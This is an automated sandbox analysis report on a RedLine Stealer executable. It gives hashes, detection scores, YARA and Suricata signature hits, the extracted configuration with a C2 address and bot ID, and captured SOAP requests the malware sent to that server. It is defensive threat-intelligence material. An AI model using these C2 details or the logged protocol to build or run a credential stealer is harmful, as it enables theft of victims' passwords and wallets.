Edit tour

Windows Analysis Report
EpCrfIUgyF.exe

Overview

General Information

Sample name:	EpCrfIUgyF.exe renamed because original name is a hash value
Original sample name:	ac60f7a9e32582940c6b0feea4461324.exe
Analysis ID:	1502245
MD5:	ac60f7a9e32582940c6b0feea4461324
SHA1:	978ce9cb01858df4ccd870553895f8ac31077abb
SHA256:	d5cfec837881ccfbda1d444f31a7c972fe8b465a5a4c5d245f3e03332ab8ad78
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

EpCrfIUgyF.exe (PID: 4024 cmdline: "C:\Users\user\Desktop\EpCrfIUgyF.exe" MD5: AC60F7A9E32582940C6B0FEEA4461324)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["207.32.219.79:40826"], "Bot Id": "h4n0m4n"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
EpCrfIUgyF.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
EpCrfIUgyF.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
EpCrfIUgyF.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x468:$a2: https://ipinfo.io/ip%appdata%\ 0xc20:$a3: Software\Valve\SteamLogin Data 0x137de:$a4: get_ScannedWallets 0x1263c:$a5: get_ScanTelegram 0x13462:$a6: get_ScanGeckoBrowsersPaths 0x1126a:$a7: <Processes>k__BackingField 0xf17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x10b9e:$a9: <ScanFTP>k__BackingField
EpCrfIUgyF.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1068a:$u7: RunPE 0x13d55:$u8: DownloadAndEx 0x10b8:$pat14: , CommandLine: 0x1328d:$v2_1: ListOfProcesses 0x1088b:$v2_2: get_ScanVPN 0x1092e:$v2_2: get_ScanFTP 0x1161e:$v2_2: get_ScanDiscord 0x12620:$v2_2: get_ScanSteam 0x1263c:$v2_2: get_ScanTelegram 0x126e2:$v2_2: get_ScanScreen 0x1342a:$v2_2: get_ScanChromeBrowsersPaths 0x13462:$v2_2: get_ScanGeckoBrowsersPaths 0x1371d:$v2_2: get_ScanBrowsers 0x137de:$v2_2: get_ScannedWallets 0x13804:$v2_2: get_ScanWallets 0x13824:$v2_3: GetArguments 0x11ed9:$v2_4: VerifyUpdate 0x13bde:$v2_5: VerifyScanRequest 0x132da:$v2_6: GetUpdates 0x15e2b:$v2_6: GetUpdates 0x12f69:$v4_3: base64str

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x268:$a2: https://ipinfo.io/ip%appdata%\ 0xa20:$a3: Software\Valve\SteamLogin Data 0x135de:$a4: get_ScannedWallets 0x1243c:$a5: get_ScanTelegram 0x13262:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
Process Memory Space: EpCrfIUgyF.exe PID: 4024	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: EpCrfIUgyF.exe PID: 4024	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: EpCrfIUgyF.exe PID: 4024	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x5c3778:$a4: get_ScannedWallets 0x5c261f:$a5: get_ScanTelegram 0x5c3401:$a6: get_ScanGeckoBrowsersPaths 0x5c129e:$a7: <Processes>k__BackingField 0x5be7d0:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x5c0bd2:$a9: <ScanFTP>k__BackingField
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.EpCrfIUgyF.exe.ff0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.EpCrfIUgyF.exe.ff0000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.EpCrfIUgyF.exe.ff0000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x468:$a2: https://ipinfo.io/ip%appdata%\ 0xc20:$a3: Software\Valve\SteamLogin Data 0x137de:$a4: get_ScannedWallets 0x1263c:$a5: get_ScanTelegram 0x13462:$a6: get_ScanGeckoBrowsersPaths 0x1126a:$a7: <Processes>k__BackingField 0xf17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x10b9e:$a9: <ScanFTP>k__BackingField
0.0.EpCrfIUgyF.exe.ff0000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1068a:$u7: RunPE 0x13d55:$u8: DownloadAndEx 0x10b8:$pat14: , CommandLine: 0x1328d:$v2_1: ListOfProcesses 0x1088b:$v2_2: get_ScanVPN 0x1092e:$v2_2: get_ScanFTP 0x1161e:$v2_2: get_ScanDiscord 0x12620:$v2_2: get_ScanSteam 0x1263c:$v2_2: get_ScanTelegram 0x126e2:$v2_2: get_ScanScreen 0x1342a:$v2_2: get_ScanChromeBrowsersPaths 0x13462:$v2_2: get_ScanGeckoBrowsersPaths 0x1371d:$v2_2: get_ScanBrowsers 0x137de:$v2_2: get_ScannedWallets 0x13804:$v2_2: get_ScanWallets 0x13824:$v2_3: GetArguments 0x11ed9:$v2_4: VerifyUpdate 0x13bde:$v2_5: VerifyScanRequest 0x132da:$v2_6: GetUpdates 0x15e2b:$v2_6: GetUpdates 0x12f69:$v4_3: base64str

Suricata Signatures

ETPRO MALWARE RedLine - SetEnvironment Request - Source IP: 192.168.2.6 - Destination IP: 207.32.219.79

Timestamp:	2024-08-31T18:37:02.264505+0200
SID:	2849352
Severity:	1
Source Port:	49701
Destination Port:	40826
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - EnvironmentSettings Request - Source IP: 192.168.2.6 - Destination IP: 207.32.219.79

Timestamp:	2024-08-31T18:36:59.475926+0200
SID:	2849351
Severity:	1
Source Port:	49699
Destination Port:	40826
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE RedLine - CheckConnect Request - Source IP: 192.168.2.6 - Destination IP: 207.32.219.79

Timestamp:	2024-08-31T18:36:53.617047+0200
SID:	2849662
Severity:	1
Source Port:	49699
Destination Port:	40826
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE RedLine Stealer - CheckConnect Response - Source IP: 207.32.219.79 - Destination IP: 192.168.2.6

Timestamp:	2024-08-31T18:36:59.101827+0200
SID:	2045000
Severity:	1
Source Port:	40826
Destination Port:	49699
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound - Source IP: 207.32.219.79 - Destination IP: 192.168.2.6

Timestamp:	2024-08-31T18:37:01.860625+0200
SID:	2045001
Severity:	1
Source Port:	40826
Destination Port:	49699
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 207.32.219.79 - Destination IP: 192.168.2.6

Timestamp:	2024-08-31T18:37:01.860625+0200
SID:	2046056
Severity:	1
Source Port:	40826
Destination Port:	49699
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE RedLine - GetUpdates Request - Source IP: 192.168.2.6 - Destination IP: 207.32.219.79

Timestamp:	2024-08-31T18:37:03.953000+0200
SID:	2848200
Severity:	1
Source Port:	49702
Destination Port:	40826
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: EpCrfIUgyF.exe

Avira: detected

Found malware configuration

Source: EpCrfIUgyF.exe

Malware Configuration Extractor: RedLine {"C2 url": ["207.32.219.79:40826"], "Bot Id": "h4n0m4n"}

Multi AV Scanner detection for submitted file

Source: EpCrfIUgyF.exe	ReversingLabs: Detection: 86%
Source: EpCrfIUgyF.exe	Virustotal: Detection: 70%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: EpCrfIUgyF.exe

Joe Sandbox ML: detected

Source: EpCrfIUgyF.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: EpCrfIUgyF.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.6:49699 -> 207.32.219.79:40826
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 207.32.219.79:40826 -> 192.168.2.6:49699
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.6:49699 -> 207.32.219.79:40826
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 207.32.219.79:40826 -> 192.168.2.6:49699
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 207.32.219.79:40826 -> 192.168.2.6:49699
Source: Network traffic	Suricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.6:49702 -> 207.32.219.79:40826
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.6:49701 -> 207.32.219.79:40826

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 207.32.219.79:40826

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 207.32.219.79 ports 0,2,40826,4,6,8

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 40826
Source: unknown	Network traffic detected: HTTP traffic on port 40826 -> 49702

Source: global traffic

TCP traffic: 192.168.2.6:49699 -> 207.32.219.79:40826

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 207.32.219.79:40826Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 207.32.219.79:40826Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 207.32.219.79:40826Content-Length: 954436Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 207.32.219.79:40826Content-Length: 954428Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: 1GSERVERSUS 1GSERVERSUS

Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79
Source: unknown	TCP traffic detected without corresponding DNS query: 207.32.219.79

Source: global traffic

DNS traffic detected: DNS query: api.ip.sb

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 207.32.219.79:40826Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000347A000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000036C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.32.219.79:40826
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.32.219.79:40826/
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000347A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://207.32.219.79:40826t-
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000036C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettings
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000347A000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003489000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033A0000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdates
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000036C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironment
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdate
Source: EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/VerifyUpdateResponse
Source: tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: EpCrfIUgyF.exe	String found in binary or memory: https://api.ip.sb/geoip%USERPEnvironmentROFILE%
Source: EpCrfIUgyF.exe	String found in binary or memory: https://api.ipify.orgcookies//settinString.Removeg
Source: tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: EpCrfIUgyF.exe	String found in binary or memory: https://ipinfo.io/ip%appdata%
Source: tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

System Summary

Malicious sample detected (through community Yara rule)

Source: EpCrfIUgyF.exe, type: SAMPLE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: EpCrfIUgyF.exe, type: SAMPLE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.0.EpCrfIUgyF.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: 0.0.EpCrfIUgyF.exe.ff0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown
Source: Process Memory Space: EpCrfIUgyF.exe PID: 4024, type: MEMORYSTR	Matched rule: Windows_Trojan_RedLineStealer_f54632eb Author: unknown

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_0186E7D0	0_2_0186E7D0
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C24468	0_2_06C24468
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C29630	0_2_06C29630
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C23720	0_2_06C23720
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C21210	0_2_06C21210
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C2DA30	0_2_06C2DA30
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C2D528	0_2_06C2D528
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C2FA00	0_2_06C2FA00
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Code function: 0_2_06C2F9F2	0_2_06C2F9F2

